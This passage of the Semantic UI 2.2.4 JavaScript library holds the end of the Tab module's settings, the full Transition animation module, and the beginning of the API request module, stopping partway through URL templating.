  history         : false,      // use browser history
  historyType     : 'hash',     // #/ or html5 state
  path            : false,      // base path of url

  context         : false,      // specify a context that tabs must appear inside
  childrenOnly    : false,      // use only tabs that are children of context
  maxDepth        : 25,         // max depth a tab can be nested

  deactivate      : 'siblings', // whether tabs should deactivate sibling menu elements or all elements initialized together

  alwaysRefresh   : false,      // load tab content new every tab click
  cache           : true,       // cache the content requests to pull locally
  cacheType       : 'response', // Whether to cache exact response, or to html cache contents after scripts execute
  ignoreFirstLoad : false,      // don't load remote content on first load

  apiSettings     : false,      // settings for api call
  evaluateScripts : 'once',     // whether inline scripts should be parsed (true/false/once). Once will not re-evaluate on cached content

  onFirstLoad : function(tabPath, parameterArray, historyEvent) {}, // called first time loaded
  onLoad      : function(tabPath, parameterArray, historyEvent) {}, // called on every load
  onVisible   : function(tabPath, parameterArray, historyEvent) {}, // called every time tab visible
  onRequest   : function(tabPath, parameterArray, historyEvent) {}, // called ever time a tab beings loading remote content

  templates : {
    determineTitle: function(tabArray) {} // returns page title for path
  },

  error: {
    api        : 'You attempted to load content without API module',
    method     : 'The method you called is not defined',
    missingTab : 'Activated tab cannot be found. Tabs are case-sensitive.',
    noContent  : 'The tab you specified is missing a content url.',
    path       : 'History enabled, but no path was specified',
    recursion  : 'Max recursive depth reached',
    legacyInit : 'onTabInit has been renamed to onFirstLoad in 2.0, please adjust your code.',
    legacyLoad : 'onTabLoad has been renamed to onLoad in 2.0. Please adjust your code',
    state      : 'History requires Asual\'s Address library <https://github.com/asual/jquery-address>'
  },

  metadata : {
    tab    : 'tab',
    loaded : 'loaded',
    promise: 'promise'
  },

  className   : {
    loading : 'loading',
    active  : 'active'
  },

  selector    : {
    tabs : '.ui.tab',
    ui   : '.ui'
  }

};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Transition
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.transition = function() {
  var
    $allModules     = $(this),
    moduleSelector  = $allModules.selector || '',

    time            = new Date().getTime(),
    performance     = [],

    moduleArguments = arguments,
    query           = moduleArguments[0],
    queryArguments  = [].slice.call(arguments, 1),
    methodInvoked   = (typeof query === 'string'),

    requestAnimationFrame = window.requestAnimationFrame
      || window.mozRequestAnimationFrame
      || window.webkitRequestAnimationFrame
      || window.msRequestAnimationFrame
      || function(callback) { setTimeout(callback, 0); },

    returnedValue
  ;
  $allModules
    .each(function(index) {
      var
        $module  = $(this),
        element  = this,

        // set at run time
        settings,
        instance,

        error,
        className,
        metadata,
        animationEnd,
        animationName,

        namespace,
        moduleNamespace,
        eventNamespace,
        module
      ;

      module = {

        initialize: function() {

          // get full settings
          settings        = module.get.settings.apply(element, moduleArguments);

          // shorthand
          className       = settings.className;
          error           = settings.error;
          metadata        = settings.metadata;

          // define namespace
          eventNamespace  = '.' + settings.namespace;
          moduleNamespace = 'module-' + settings.namespace;
          instance        = $module.data(moduleNamespace) || module;

          // get vendor specific events
          animationEnd    = module.get.animationEndEvent();

          if(methodInvoked) {
            methodInvoked = module.invoke(query);
          }

          // method not invoked, lets run an animation
          if(methodInvoked === false) {
            module.verbose('Converted arguments into settings object', settings);
            if(settings.interval) {
              module.delay(settings.animate);
            }
            else  {
              module.animate();
            }
            module.instantiate();
          }
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, instance)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous module for', element);
          $module
            .removeData(moduleNamespace)
          ;
        },

        refresh: function() {
          module.verbose('Refreshing display type on next animation');
          delete module.displayType;
        },

        forceRepaint: function() {
          module.verbose('Forcing element repaint');
          var
            $parentElement = $module.parent(),
            $nextElement = $module.next()
          ;
          if($nextElement.length === 0) {
            $module.detach().appendTo($parentElement);
          }
          else {
            $module.detach().insertBefore($nextElement);
          }
        },

        repaint: function() {
          module.verbose('Repainting element');
          var
            fakeAssignment = element.offsetWidth
          ;
        },

        delay: function(interval) {
          var
            direction = module.get.animationDirection(),
            shouldReverse,
            delay
          ;
          if(!direction) {
            direction = module.can.transition()
              ? module.get.direction()
              : 'static'
            ;
          }
          interval = (interval !== undefined)
            ? interval
            : settings.interval
          ;
          shouldReverse = (settings.reverse == 'auto' && direction == className.outward);
          delay = (shouldReverse || settings.reverse == true)
            ? ($allModules.length - index) * settings.interval
            : index * settings.interval
          ;
          module.debug('Delaying animation by', delay);
          setTimeout(module.animate, delay);
        },

        animate: function(overrideSettings) {
          settings = overrideSettings || settings;
          if(!module.is.supported()) {
            module.error(error.support);
            return false;
          }
          module.debug('Preparing animation', settings.animation);
          if(module.is.animating()) {
            if(settings.queue) {
              if(!settings.allowRepeats && module.has.direction() && module.is.occurring() && module.queuing !== true) {
                module.debug('Animation is currently occurring, preventing queueing same animation', settings.animation);
              }
              else {
                module.queue(settings.animation);
              }
              return false;
            }
            else if(!settings.allowRepeats && module.is.occurring()) {
              module.debug('Animation is already occurring, will not execute repeated animation', settings.animation);
              return false;
            }
            else {
              module.debug('New animation started, completing previous early', settings.animation);
              instance.complete();
            }
          }
          if( module.can.animate() ) {
            module.set.animating(settings.animation);
          }
          else {
            module.error(error.noAnimation, settings.animation, element);
          }
        },

        reset: function() {
          module.debug('Resetting animation to beginning conditions');
          module.remove.animationCallbacks();
          module.restore.conditions();
          module.remove.animating();
        },

        queue: function(animation) {
          module.debug('Queueing animation of', animation);
          module.queuing = true;
          $module
            .one(animationEnd + '.queue' + eventNamespace, function() {
              module.queuing = false;
              module.repaint();
              module.animate.apply(this, settings);
            })
          ;
        },

        complete: function (event) {
          module.debug('Animation complete', settings.animation);
          module.remove.completeCallback();
          module.remove.failSafe();
          if(!module.is.looping()) {
            if( module.is.outward() ) {
              module.verbose('Animation is outward, hiding element');
              module.restore.conditions();
              module.hide();
            }
            else if( module.is.inward() ) {
              module.verbose('Animation is outward, showing element');
              module.restore.conditions();
              module.show();
            }
            else {
              module.verbose('Static animation completed');
              module.restore.conditions();
              settings.onComplete.call(element);
            }
          }
        },

        force: {
          visible: function() {
            var
              style          = $module.attr('style'),
              userStyle      = module.get.userStyle(),
              displayType    = module.get.displayType(),
              overrideStyle  = userStyle + 'display: ' + displayType + ' !important;',
              currentDisplay = $module.css('display'),
              emptyStyle     = (style === undefined || style === '')
            ;
            if(currentDisplay !== displayType) {
              module.verbose('Overriding default display to show element', displayType);
              $module
                .attr('style', overrideStyle)
              ;
            }
            else if(emptyStyle) {
              $module.removeAttr('style');
            }
          },
          hidden: function() {
            var
              style          = $module.attr('style'),
              currentDisplay = $module.css('display'),
              emptyStyle     = (style === undefined || style === '')
            ;
            if(currentDisplay !== 'none' && !module.is.hidden()) {
              module.verbose('Overriding default display to hide element');
              $module
                .css('display', 'none')
              ;
            }
            else if(emptyStyle) {
              $module
                .removeAttr('style')
              ;
            }
          }
        },

        has: {
          direction: function(animation) {
            var
              hasDirection = false
            ;
            animation = animation || settings.animation;
            if(typeof animation === 'string') {
              animation = animation.split(' ');
              $.each(animation, function(index, word){
                if(word === className.inward || word === className.outward) {
                  hasDirection = true;
                }
              });
            }
            return hasDirection;
          },
          inlineDisplay: function() {
            var
              style = $module.attr('style') || ''
            ;
            return $.isArray(style.match(/display.*?;/, ''));
          }
        },

        set: {
          animating: function(animation) {
            var
              animationClass,
              direction
            ;
            // remove previous callbacks
            module.remove.completeCallback();

            // determine exact animation
            animation      = animation || settings.animation;
            animationClass = module.get.animationClass(animation);

            // save animation class in cache to restore class names
            module.save.animation(animationClass);

            // override display if necessary so animation appears visibly
            module.force.visible();

            module.remove.hidden();
            module.remove.direction();

            module.start.animation(animationClass);

          },
          duration: function(animationName, duration) {
            duration = duration || settings.duration;
            duration = (typeof duration == 'number')
              ? duration + 'ms'
              : duration
            ;
            if(duration || duration === 0) {
              module.verbose('Setting animation duration', duration);
              $module
                .css({
                  'animation-duration':  duration
                })
              ;
            }
          },
          direction: function(direction) {
            direction = direction || module.get.direction();
            if(direction == className.inward) {
              module.set.inward();
            }
            else {
              module.set.outward();
            }
          },
          looping: function() {
            module.debug('Transition set to loop');
            $module
              .addClass(className.looping)
            ;
          },
          hidden: function() {
            $module
              .addClass(className.transition)
              .addClass(className.hidden)
            ;
          },
          inward: function() {
            module.debug('Setting direction to inward');
            $module
              .removeClass(className.outward)
              .addClass(className.inward)
            ;
          },
          outward: function() {
            module.debug('Setting direction to outward');
            $module
              .removeClass(className.inward)
              .addClass(className.outward)
            ;
          },
          visible: function() {
            $module
              .addClass(className.transition)
              .addClass(className.visible)
            ;
          }
        },

        start: {
          animation: function(animationClass) {
            animationClass = animationClass || module.get.animationClass();
            module.debug('Starting tween', animationClass);
            $module
              .addClass(animationClass)
              .one(animationEnd + '.complete' + eventNamespace, module.complete)
            ;
            if(settings.useFailSafe) {
              module.add.failSafe();
            }
            module.set.duration(settings.duration);
            settings.onStart.call(element);
          }
        },

        save: {
          animation: function(animation) {
            if(!module.cache) {
              module.cache = {};
            }
            module.cache.animation = animation;
          },
          displayType: function(displayType) {
            if(displayType !== 'none') {
              $module.data(metadata.displayType, displayType);
            }
          },
          transitionExists: function(animation, exists) {
            $.fn.transition.exists[animation] = exists;
            module.verbose('Saving existence of transition', animation, exists);
          }
        },

        restore: {
          conditions: function() {
            var
              animation = module.get.currentAnimation()
            ;
            if(animation) {
              $module
                .removeClass(animation)
              ;
              module.verbose('Removing animation class', module.cache);
            }
            module.remove.duration();
          }
        },

        add: {
          failSafe: function() {
            var
              duration = module.get.duration()
            ;
            module.timer = setTimeout(function() {
              $module.triggerHandler(animationEnd);
            }, duration + settings.failSafeDelay);
            module.verbose('Adding fail safe timer', module.timer);
          }
        },

        remove: {
          animating: function() {
            $module.removeClass(className.animating);
          },
          animationCallbacks: function() {
            module.remove.queueCallback();
            module.remove.completeCallback();
          },
          queueCallback: function() {
            $module.off('.queue' + eventNamespace);
          },
          completeCallback: function() {
            $module.off('.complete' + eventNamespace);
          },
          display: function() {
            $module.css('display', '');
          },
          direction: function() {
            $module
              .removeClass(className.inward)
              .removeClass(className.outward)
            ;
          },
          duration: function() {
            $module
              .css('animation-duration', '')
            ;
          },
          failSafe: function() {
            module.verbose('Removing fail safe timer', module.timer);
            if(module.timer) {
              clearTimeout(module.timer);
            }
          },
          hidden: function() {
            $module.removeClass(className.hidden);
          },
          visible: function() {
            $module.removeClass(className.visible);
          },
          looping: function() {
            module.debug('Transitions are no longer looping');
            if( module.is.looping() ) {
              module.reset();
              $module
                .removeClass(className.looping)
              ;
            }
          },
          transition: function() {
            $module
              .removeClass(className.visible)
              .removeClass(className.hidden)
            ;
          }
        },
        get: {
          settings: function(animation, duration, onComplete) {
            // single settings object
            if(typeof animation == 'object') {
              return $.extend(true, {}, $.fn.transition.settings, animation);
            }
            // all arguments provided
            else if(typeof onComplete == 'function') {
              return $.extend({}, $.fn.transition.settings, {
                animation  : animation,
                onComplete : onComplete,
                duration   : duration
              });
            }
            // only duration provided
            else if(typeof duration == 'string' || typeof duration == 'number') {
              return $.extend({}, $.fn.transition.settings, {
                animation : animation,
                duration  : duration
              });
            }
            // duration is actually settings object
            else if(typeof duration == 'object') {
              return $.extend({}, $.fn.transition.settings, duration, {
                animation : animation
              });
            }
            // duration is actually callback
            else if(typeof duration == 'function') {
              return $.extend({}, $.fn.transition.settings, {
                animation  : animation,
                onComplete : duration
              });
            }
            // only animation provided
            else {
              return $.extend({}, $.fn.transition.settings, {
                animation : animation
              });
            }
          },
          animationClass: function(animation) {
            var
              animationClass = animation || settings.animation,
              directionClass = (module.can.transition() && !module.has.direction())
                ? module.get.direction() + ' '
                : ''
            ;
            return className.animating + ' '
              + className.transition + ' '
              + directionClass
              + animationClass
            ;
          },
          currentAnimation: function() {
            return (module.cache && module.cache.animation !== undefined)
              ? module.cache.animation
              : false
            ;
          },
          currentDirection: function() {
            return module.is.inward()
              ? className.inward
              : className.outward
            ;
          },
          direction: function() {
            return module.is.hidden() || !module.is.visible()
              ? className.inward
              : className.outward
            ;
          },
          animationDirection: function(animation) {
            var
              direction
            ;
            animation = animation || settings.animation;
            if(typeof animation === 'string') {
              animation = animation.split(' ');
              // search animation name for out/in class
              $.each(animation, function(index, word){
                if(word === className.inward) {
                  direction = className.inward;
                }
                else if(word === className.outward) {
                  direction = className.outward;
                }
              });
            }
            // return found direction
            if(direction) {
              return direction;
            }
            return false;
          },
          duration: function(duration) {
            duration = duration || settings.duration;
            if(duration === false) {
              duration = $module.css('animation-duration') || 0;
            }
            return (typeof duration === 'string')
              ? (duration.indexOf('ms') > -1)
                ? parseFloat(duration)
                : parseFloat(duration) * 1000
              : duration
            ;
          },
          displayType: function() {
            if(settings.displayType) {
              return settings.displayType;
            }
            if($module.data(metadata.displayType) === undefined) {
              // create fake element to determine display state
              module.can.transition(true);
            }
            return $module.data(metadata.displayType);
          },
          userStyle: function(style) {
            style = style || $module.attr('style') || '';
            return style.replace(/display.*?;/, '');
          },
          transitionExists: function(animation) {
            return $.fn.transition.exists[animation];
          },
          animationStartEvent: function() {
            var
              element     = document.createElement('div'),
              animations  = {
                'animation'       :'animationstart',
                'OAnimation'      :'oAnimationStart',
                'MozAnimation'    :'mozAnimationStart',
                'WebkitAnimation' :'webkitAnimationStart'
              },
              animation
            ;
            for(animation in animations){
              if( element.style[animation] !== undefined ){
                return animations[animation];
              }
            }
            return false;
          },
          animationEndEvent: function() {
            var
              element     = document.createElement('div'),
              animations  = {
                'animation'       :'animationend',
                'OAnimation'      :'oAnimationEnd',
                'MozAnimation'    :'mozAnimationEnd',
                'WebkitAnimation' :'webkitAnimationEnd'
              },
              animation
            ;
            for(animation in animations){
              if( element.style[animation] !== undefined ){
                return animations[animation];
              }
            }
            return false;
          }

        },

        can: {
          transition: function(forced) {
            var
              animation         = settings.animation,
              transitionExists  = module.get.transitionExists(animation),
              elementClass,
              tagName,
              $clone,
              currentAnimation,
              inAnimation,
              directionExists,
              displayType
            ;
            if( transitionExists === undefined || forced) {
              module.verbose('Determining whether animation exists');
              elementClass = $module.attr('class');
              tagName      = $module.prop('tagName');

              $clone = $('<' + tagName + ' />').addClass( elementClass ).insertAfter($module);
              currentAnimation = $clone
                .addClass(animation)
                .removeClass(className.inward)
                .removeClass(className.outward)
                .addClass(className.animating)
                .addClass(className.transition)
                .css('animationName')
              ;
              inAnimation = $clone
                .addClass(className.inward)
                .css('animationName')
              ;
              displayType = $clone
                .attr('class', elementClass)
                .removeAttr('style')
                .removeClass(className.hidden)
                .removeClass(className.visible)
                .show()
                .css('display')
              ;
              module.verbose('Determining final display state', displayType);
              module.save.displayType(displayType);

              $clone.remove();
              if(currentAnimation != inAnimation) {
                module.debug('Direction exists for animation', animation);
                directionExists = true;
              }
              else if(currentAnimation == 'none' || !currentAnimation) {
                module.debug('No animation defined in css', animation);
                return;
              }
              else {
                module.debug('Static animation found', animation, displayType);
                directionExists = false;
              }
              module.save.transitionExists(animation, directionExists);
            }
            return (transitionExists !== undefined)
              ? transitionExists
              : directionExists
            ;
          },
          animate: function() {
            // can transition does not return a value if animation does not exist
            return (module.can.transition() !== undefined);
          }
        },

        is: {
          animating: function() {
            return $module.hasClass(className.animating);
          },
          inward: function() {
            return $module.hasClass(className.inward);
          },
          outward: function() {
            return $module.hasClass(className.outward);
          },
          looping: function() {
            return $module.hasClass(className.looping);
          },
          occurring: function(animation) {
            animation = animation || settings.animation;
            animation = '.' + animation.replace(' ', '.');
            return ( $module.filter(animation).length > 0 );
          },
          visible: function() {
            return $module.is(':visible');
          },
          hidden: function() {
            return $module.css('visibility') === 'hidden';
          },
          supported: function() {
            return(animationEnd !== false);
          }
        },

        hide: function() {
          module.verbose('Hiding element');
          if( module.is.animating() ) {
            module.reset();
          }
          element.blur(); // IE will trigger focus change if element is not blurred before hiding
          module.remove.display();
          module.remove.visible();
          module.set.hidden();
          module.force.hidden();
          settings.onHide.call(element);
          settings.onComplete.call(element);
          // module.repaint();
        },

        show: function(display) {
          module.verbose('Showing element', display);
          module.remove.hidden();
          module.set.visible();
          module.force.visible();
          settings.onShow.call(element);
          settings.onComplete.call(element);
          // module.repaint();
        },

        toggle: function() {
          if( module.is.visible() ) {
            module.hide();
          }
          else {
            module.show();
          }
        },

        stop: function() {
          module.debug('Stopping current animation');
          $module.triggerHandler(animationEnd);
        },

        stopAll: function() {
          module.debug('Stopping all animation');
          module.remove.queueCallback();
          $module.triggerHandler(animationEnd);
        },

        clear: {
          queue: function() {
            module.debug('Clearing animation queue');
            module.remove.queueCallback();
          }
        },

        enable: function() {
          module.verbose('Starting animation');
          $module.removeClass(className.disabled);
        },

        disable: function() {
          module.debug('Stopping animation');
          $module.addClass(className.disabled);
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if($allModules.length > 1) {
              title += ' ' + '(' + $allModules.length + ')';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        // modified for transition to return invoke success
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }

          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return (found !== undefined)
            ? found
            : false
          ;
        }
      };
      module.initialize();
    })
  ;
  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

// Records if CSS transition is available
$.fn.transition.exists = {};

$.fn.transition.settings = {

  // module info
  name          : 'Transition',

  // hide all output from this component regardless of other settings
  silent        : false,

  // debug content outputted to console
  debug         : false,

  // verbose debug output
  verbose       : false,

  // performance data output
  performance   : true,

  // event namespace
  namespace     : 'transition',

  // delay between animations in group
  interval      : 0,

  // whether group animations should be reversed
  reverse       : 'auto',

  // animation callback event
  onStart       : function() {},
  onComplete    : function() {},
  onShow        : function() {},
  onHide        : function() {},

  // whether timeout should be used to ensure callback fires in cases animationend does not
  useFailSafe   : true,

  // delay in ms for fail safe
  failSafeDelay : 100,

  // whether EXACT animation can occur twice in a row
  allowRepeats  : false,

  // Override final display type on visible
  displayType   : false,

  // animation duration
  animation     : 'fade',
  duration      : false,

  // new animations will occur after previous ones
  queue         : true,

  metadata : {
    displayType: 'display'
  },

  className   : {
    animating  : 'animating',
    disabled   : 'disabled',
    hidden     : 'hidden',
    inward     : 'in',
    loading    : 'loading',
    looping    : 'looping',
    outward    : 'out',
    transition : 'transition',
    visible    : 'visible'
  },

  // possible errors
  error: {
    noAnimation : 'Element is no longer attached to DOM. Unable to animate.  Use silent setting to surpress this warning in production.',
    repeated    : 'That animation is already occurring, cancelling repeated animation',
    method      : 'The method you called is not defined',
    support     : 'This browser does not support CSS animations'
  }

};


})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - API
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

var
  window = (typeof window != 'undefined' && window.Math == Math)
    ? window
    : (typeof self != 'undefined' && self.Math == Math)
      ? self
      : Function('return this')()
;

$.api = $.fn.api = function(parameters) {

  var
    // use window context if none specified
    $allModules     = $.isFunction(this)
        ? $(window)
        : $(this),
    moduleSelector = $allModules.selector || '',
    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),

    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings          = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.api.settings, parameters)
          : $.extend({}, $.fn.api.settings),

        // internal aliases
        namespace       = settings.namespace,
        metadata        = settings.metadata,
        selector        = settings.selector,
        error           = settings.error,
        className       = settings.className,

        // define namespaces for modules
        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        // element that creates request
        $module         = $(this),
        $form           = $module.closest(selector.form),

        // context used for state
        $context        = (settings.stateContext)
          ? $(settings.stateContext)
          : $module,

        // request details
        ajaxSettings,
        requestSettings,
        url,
        data,
        requestStartTime,

        // standard module
        element         = this,
        context         = $context[0],
        instance        = $module.data(moduleNamespace),
        module
      ;

      module = {

        initialize: function() {
          if(!methodInvoked) {
            module.bind.events();
          }
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, instance)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous module for', element);
          $module
            .removeData(moduleNamespace)
            .off(eventNamespace)
          ;
        },

        bind: {
          events: function() {
            var
              triggerEvent = module.get.event()
            ;
            if( triggerEvent ) {
              module.verbose('Attaching API events to element', triggerEvent);
              $module
                .on(triggerEvent + eventNamespace, module.event.trigger)
              ;
            }
            else if(settings.on == 'now') {
              module.debug('Querying API endpoint immediately');
              module.query();
            }
          }
        },

        decode: {
          json: function(response) {
            if(response !== undefined && typeof response == 'string') {
              try {
               response = JSON.parse(response);
              }
              catch(e) {
                // isnt json string
              }
            }
            return response;
          }
        },

        read: {
          cachedResponse: function(url) {
            var
              response
            ;
            if(window.Storage === undefined) {
              module.error(error.noStorage);
              return;
            }
            response = sessionStorage.getItem(url);
            module.debug('Using cached response', url, response);
            response = module.decode.json(response);
            return response;
          }
        },
        write: {
          cachedResponse: function(url, response) {
            if(response && response === '') {
              module.debug('Response empty, not caching', response);
              return;
            }
            if(window.Storage === undefined) {
              module.error(error.noStorage);
              return;
            }
            if( $.isPlainObject(response) ) {
              response = JSON.stringify(response);
            }
            sessionStorage.setItem(url, response);
            module.verbose('Storing cached response for url', url, response);
          }
        },

        query: function() {

          if(module.is.disabled()) {
            module.debug('Element is disabled API request aborted');
            return;
          }

          if(module.is.loading()) {
            if(settings.interruptRequests) {
              module.debug('Interrupting previous request');
              module.abort();
            }
            else {
              module.debug('Cancelling request, previous request is still pending');
              return;
            }
          }

          // pass element metadata to url (value, text)
          if(settings.defaultData) {
            $.extend(true, settings.urlData, module.get.defaultData());
          }

          // Add form content
          if(settings.serializeForm) {
            settings.data = module.add.formData(settings.data);
          }

          // call beforesend and get any settings changes
          requestSettings = module.get.settings();

          // check if before send cancelled request
          if(requestSettings === false) {
            module.cancelled = true;
            module.error(error.beforeSend);
            return;
          }
          else {
            module.cancelled = false;
          }

          // get url
          url = module.get.templatedURL();

          if(!url && !module.is.mocked()) {
            module.error(error.missingURL);
            return;
          }

          // replace variables
          url = module.add.urlData( url );
          // missing url parameters
          if( !url && !module.is.mocked()) {
            return;
          }

          requestSettings.url = settings.base + url;

          // look for jQuery ajax parameters in settings
          ajaxSettings = $.extend(true, {}, settings, {
            type       : settings.method || settings.type,
            data       : data,
            url        : settings.base + url,
            beforeSend : settings.beforeXHR,
            success    : function() {},
            failure    : function() {},
            complete   : function() {}
          });

          module.debug('Querying URL', ajaxSettings.url);
          module.verbose('Using AJAX settings', ajaxSettings);
          if(settings.cache === 'local' && module.read.cachedResponse(url)) {
            module.debug('Response returned from local cache');
            module.request = module.create.request();
            module.request.resolveWith(context, [ module.read.cachedResponse(url) ]);
            return;
          }

          if( !settings.throttle ) {
            module.debug('Sending request', data, ajaxSettings.method);
            module.send.request();
          }
          else {
            if(!settings.throttleFirstRequest && !module.timer) {
              module.debug('Sending request', data, ajaxSettings.method);
              module.send.request();
              module.timer = setTimeout(function(){}, settings.throttle);
            }
            else {
              module.debug('Throttling request', settings.throttle);
              clearTimeout(module.timer);
              module.timer = setTimeout(function() {
                if(module.timer) {
                  delete module.timer;
                }
                module.debug('Sending throttled request', data, ajaxSettings.method);
                module.send.request();
              }, settings.throttle);
            }
          }

        },

        should: {
          removeError: function() {
            return ( settings.hideError === true || (settings.hideError === 'auto' && !module.is.form()) );
          }
        },

        is: {
          disabled: function() {
            return ($module.filter(selector.disabled).length > 0);
          },
          expectingJSON: function() {
            return settings.dataType === 'json' || settings.dataType === 'jsonp';
          },
          form: function() {
            return $module.is('form') || $context.is('form');
          },
          mocked: function() {
            return (settings.mockResponse || settings.mockResponseAsync || settings.response || settings.responseAsync);
          },
          input: function() {
            return $module.is('input');
          },
          loading: function() {
            return (module.request)
              ? (module.request.state() == 'pending')
              : false
            ;
          },
          abortedRequest: function(xhr) {
            if(xhr && xhr.readyState !== undefined && xhr.readyState === 0) {
              module.verbose('XHR request determined to be aborted');
              return true;
            }
            else {
              module.verbose('XHR request was not aborted');
              return false;
            }
          },
          validResponse: function(response) {
            if( (!module.is.expectingJSON()) || !$.isFunction(settings.successTest) ) {
              module.verbose('Response is not JSON, skipping validation', settings.successTest, response);
              return true;
            }
            module.debug('Checking JSON returned success', settings.successTest, response);
            if( settings.successTest(response) ) {
              module.debug('Response passed success test', response);
              return true;
            }
            else {
              module.debug('Response failed success test', response);
              return false;
            }
          }
        },

        was: {
          cancelled: function() {
            return (module.cancelled || false);
          },
          succesful: function() {
            return (module.request && module.request.state() == 'resolved');
          },
          failure: function() {
            return (module.request && module.request.state() == 'rejected');
          },
          complete: function() {
            return (module.request && (module.request.state() == 'resolved' || module.request.state() == 'rejected') );
          }
        },

        add: {
          urlData: function(url, urlData) {
            var
              requiredVariables,
              optionalVariables
            ;
            if(url) {
              requiredVariables = url.match(settings.regExp.required);
              optionalVariables = url.match(settings.regExp.optional);
              urlData           = urlData || settings.urlData;
              if(requiredVariables) {
                module.debug('Looking for required URL variables', requiredVariables);
                $.each(requiredVariables, function(index, templatedString) {
                  var
                    // allow legacy {$var} style
                    variable = (templatedString.indexOf('$') !== -1)
                      ? templatedString.substr(2, templatedString.length - 3)
                      : templatedString.substr(1, templatedString.length - 2),
                    value   = ($.isPlainObject(urlData) && urlData[variable] !== undefined)
                      ? urlData[variable]
                      : ($module.data(variable) !== undefined)
                        ? $module.data(variable)
                        : ($context.data(variable) !== undefined)
                          ? $context.data(variable)
                          : urlData[variable]
                  ;
                  // remove value
                  if(value === undefined) {
                    module.error(error.requiredParameter, variable, url);
                    url = false;
                    return false;
                  }
                  else {
                    module.verbose('Found required variable', variable, value);
                    value = (settings.encodeParameters)
                      ? module.get.urlEncodedValue(value)
                      : value
                    ;
                    url = url.replace(templatedString, value);
                  }
                });
              }
              if(optionalVariables) {
                module.debug('Looking for optional URL variables', requiredVariables);
                $.each(optionalVariables, function(index, templatedString) {
                  var
                    // allow legacy {/$var} style
                    variable = (templatedString.indexOf('$') !== -1)
                      ? templatedString.substr(3, templatedString.length - 4)
                      : templatedString.substr(2, templatedString.length - 3),
                    value   = ($.isPlainObject(urlData) && urlData[variable] !== undefined)
                      ? urlData[variable]
                      : ($module.data(variable) !== undefined)
                        ? $module.data(variable)
                        : ($context.data(variable) !== undefined)
                          ? $context.data(variable)
                          : urlData[variable]
                  ;
                  // optional replacement
